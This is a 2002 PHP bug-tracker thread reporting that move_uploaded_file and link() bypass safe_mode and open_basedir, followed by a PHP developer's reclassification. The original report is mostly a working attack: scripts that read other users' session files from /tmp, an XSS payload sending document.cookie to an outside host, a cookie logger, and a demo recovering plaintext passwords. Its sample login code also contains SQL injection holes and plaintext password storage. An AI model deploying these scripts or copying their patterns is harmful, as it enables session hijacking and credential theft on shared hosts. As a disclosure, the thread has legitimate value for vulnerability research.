Bug #17790 Updated: symlinks circumvent open_basedir restrictions
| From: | bastijs at net-force dot nl | Date: | Sun, 16 Jun 2002 20:55:49 +0000 |
| Subject: | Bug #17790 Updated: symlinks circumvent open_basedir restrictions | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-10797@lists.php.net to get a copy of this message | ||
ID: 17790
Updated by: bastijs@net-force.nl
Reported By: tozz@kijkt.tv
Status: Open
Bug Type: Filesystem function related
Operating System: Linux
PHP Version: 4.2.1
New Comment:
well,
this is possible because of the move_uploaded_file + the link function.
move_uploaded_file will change your own UID to 48 apache so you will be
able to read files from the /tmp dir if you link the /tmp directory to
your own made tmp directory
So I think it`s a PHP bug.
cya,
BasTijs
Previous Comments:
------------------------------------------------------------------------
[2002-06-16 16:42:06] sander@php.net
The session stealing stuff is only possible because of a great flaw in
the upload script. That's not a problem in PHP.
Safe mode is not safe. But tbese are things that should not be managed
by PHP, but by the OS. Apache 2 solves this problem with the Perchild
MPM. Safe mode tries to solve this problem, but it can't completely.
Read the php-dev archives for more about this.
What remains is that symlinks might be able to work around open_basedir
restrictions. That should not be possible. Reclassified.
------------------------------------------------------------------------
[2002-06-16 16:24:36] tozz@kijkt.tv
Stealing PHP sessions + Break PHP safe_mode + Break PHP open_basedir
This file includes 2 new PHP bugs + a guide on how to use cross
scripting to steal sessions + passwords
PHP bugs:
1) Break safe_mode restriction using move_uploaded_file.
2) Break open_basedir restriction using the PHP link function
This script will upload a file to the dir /css/ op my website
http://www.net-force.nl/css/
Because the move_upload_file changes the users from my own name->
bastijs ID 566 to apache ID 48
I will be able to break the safe_mode restriction and read files from
the /tmp/ directory with
my steel.php script. ( Chmod 777 /css/ )
upload.php
++++++++++++++
<?
$file = $HTTP_POST_FILES['file']['name'];
$type = $HTTP_POST_FILES['file']['type'];
$size = $HTTP_POST_FILES['file']['size'];
$temp = $HTTP_POST_FILES['file']['tmp_name'];
$size_limit = "100000"; // set size limit in bytes
if ($file){
if ($size < $size_limit){
move_uploaded_file($temp,"/domains/net-force.nl/public_html/www/css/"
.$file);
echo "File <tt>$file</tt> uploaded!";
} else {
echo "Sorry, your file exceeds the size limit of $size_limit
bytes";
}}
echo "
<form enctype='multipart/form-data' action=$PHP_SELF method=post>
Upload a file: <input name='file' type='file'>
<input type='submit' value='Upload'>
</form>
";
?>
++++++++++++++
This script will steal a session from the tmp dir and place a file
named $sessie.txt in your own temp
dir, I used -> http://www.net-force.nl/css/tmp/ so
I will get a file
called
http://www.net-force.nl/css/tmp/88618d3d4af0bb8bd5135472c02e8ecc.txt
If my session ID was: 88618d3d4af0bb8bd5135472c02e8ecc
I used the link function to break the open_basedir restriction so I was
able to view the file.
steel.php
++++++++++++++
<?
if(IsSet($submit) && $submit == "steel"){
link("/tmp/sess_" . $sessie, "tmp/$sessie.txt");
$file = file("tmp/$sessie.txt");
echo $file[0];
}else{
echo "
<form method=\"post\" action=\"$PHP_SELF\">
Sessie:<br>
<input type=\"text\" name=\"sessie\"><br>
<input type=\"submit\" name=\"submit\" value=\"steel\">
</form>
";
}
?>
++++++++++++++
Now I`m gonna test the exploit and steel a session ID using the
cross-scripting exploit.
First I will create a table called css in MYSQL, edit the scripts for
your own server.
CREATE TABLE
css (
id int(10) NOT NULL auto_increment,
naam varchar(40) NOT NULL default '',
password varchar(40) NOT NULL default '',
PRIMARY KEY (id)
) TYPE=MyISAM;
Now I will install an login + register script which will use sessions
for auth.
register.php
++++++++++++++
<?
include('functions.php');
session_start();
if(IsSet($submit) && $submit == "register"){
$Query = mysql_query("SELECT * FROM css WHERE naam='$naam'", $db) or
die("Error!");
$info = mysql_fetch_array($Query);
if($info['id'] != ""){
die("error!");
}else{
mysql_query("INSERT INTO css (id, naam, password) VALUES (NULL,
'$naam', '$password')", $db) or die("Error!");
$UserData = $info;
session_register('UserData');
echo("Welcome!");
}
}else{
echo "<h1>Register</h1>
<form method=\"post\" action=\"$PHP_SELF\">
Name:<br>
<input type=\"text\" name=\"naam\"><br>
Password:<br>
<input type=\"password\" name=\"password\"><br><br>
<input type=\"submit\" name=\"submit\" value=\"register\">
</form></td></tr>
";
}
?>
++++++++++++++
login.php
++++++++++++++
<?
session_start();
include('functions.php');
$check = "";
if(IsSet($UserData)){
$sql = mysql_query("SELECT * FROM css WHERE naam='$UserData[naam]'",
$db) or die("Error!");
$user = mysql_fetch_array($sql);
if($user['password'] == $UserData['password']){
$check = "1";
}else{
$check = "0";
}
}
if(IsSet($submit) && $submit == "login"){
$Query = mysql_query("SELECT * FROM css WHERE naam='$naam'", $db) or
die("Error!");
$info = mysql_fetch_array($Query);
if($info['id'] == ""){
die("error!");
}elseif($info['password'] != $password){
die("wrong password!");
}else{
$UserData = $info;
session_register(UserData);
header("location: $PHP_SELF?login");
}
}elseif(IsSet($action) && $action == "logout"){
session_destroy();
header("location: $PHP_SELF?view");
}elseif($check == "1"){
echo("Logged in! <a href=\"$PHP_SELF?action=logout\">logout</a>");
}else{
echo "<h1>Login</h1>
<form method=\"post\" action=\"$PHP_SELF\">
Name:<br>
<input type=\"text\" name=\"naam\"><br>
Password:<br>
<input type=\"password\" name=\"password\"><br><br>
<input type=\"submit\" name=\"submit\" value=\"login\">
</form></td></tr>
";
}
?>
++++++++++++++
functions.php
++++++++++++++
<?
$dbserver = "localhost";
$dbuser = "root";
$dbpass = "";
$dbname = "";
if(!$db = @mysql_connect("$dbserver", "$dbuser", "$dbpass"))
die($error_mysql);
if(!@mysql_select_db("$dbname", $db))
die($error_mysql);
?>
++++++++++++++
Ok my test auth script works fine so now I`m gonna create a
"cross-scripting bugged" script
If you are able to find a cross-scripting bugged site on the same host
you will be able to
steal their session id using the css bug like
this -> make a user from the bugged site open the css bugged script
like this
http://wwww.site.com/script.php?id="><script>document.location='http://www.net-force.nl/css/log.php?'
+document.cookie</script>
Check some cross-scripting tutorials if you don`t get it :)
But I created my own bugged script to simulate the css bug and steal my
own cookie.
bugged.php
++++++++++++++
<html>
<script>document.location='http://www.net-force.nl/css/log.php?'
+document.cookie</script>
</html>
++++++++++++++
Now I`m gonna install the session ID log script. You will have to
create a file called session.txt and
chmod it 777.
log.php
++++++++++++++
<?
$fd = fopen("session.txt", "a+") or die("can`t open file!");
$fout = fwrite($fd, "$QUERY_STRING\n");
fclose($fd);
?>
++++++++++++++
Ok that`s all.... register a new user and login. Now run the bugged.php
and you will be redirected to the log
script. This script will log your cookie + session ID to the
session.txt file. Check the session.txt
you will find something like this:
PHPSESSID=c0b66dd6df22091b72da1763a233dc85
now copy and past c0b66dd6df22091b72da1763a233dc85 into your steal.php,
run it and you will get the
username + password like this:
UserData|a:6:{i:0;s:1:"1";s:2:"id";s:1:"1";i:1;s:3:"Bas";s:4:"naam";s:3:"Bas";i:2;s:3:"aap";s:8:"password";s:3:"aap";}
username: Bas
password: aap
try to login and it works....you stole the user`s password!
Test a full working version of the session steal script on
http://www.net-force.nl/css/
cya,
BasTijs
bastijs@net-force.nl
http://www.net-force.nl
------------------------------------------------------------------------
--
Edit this bug report at http://bugs.php.net/?id=17790&edit=1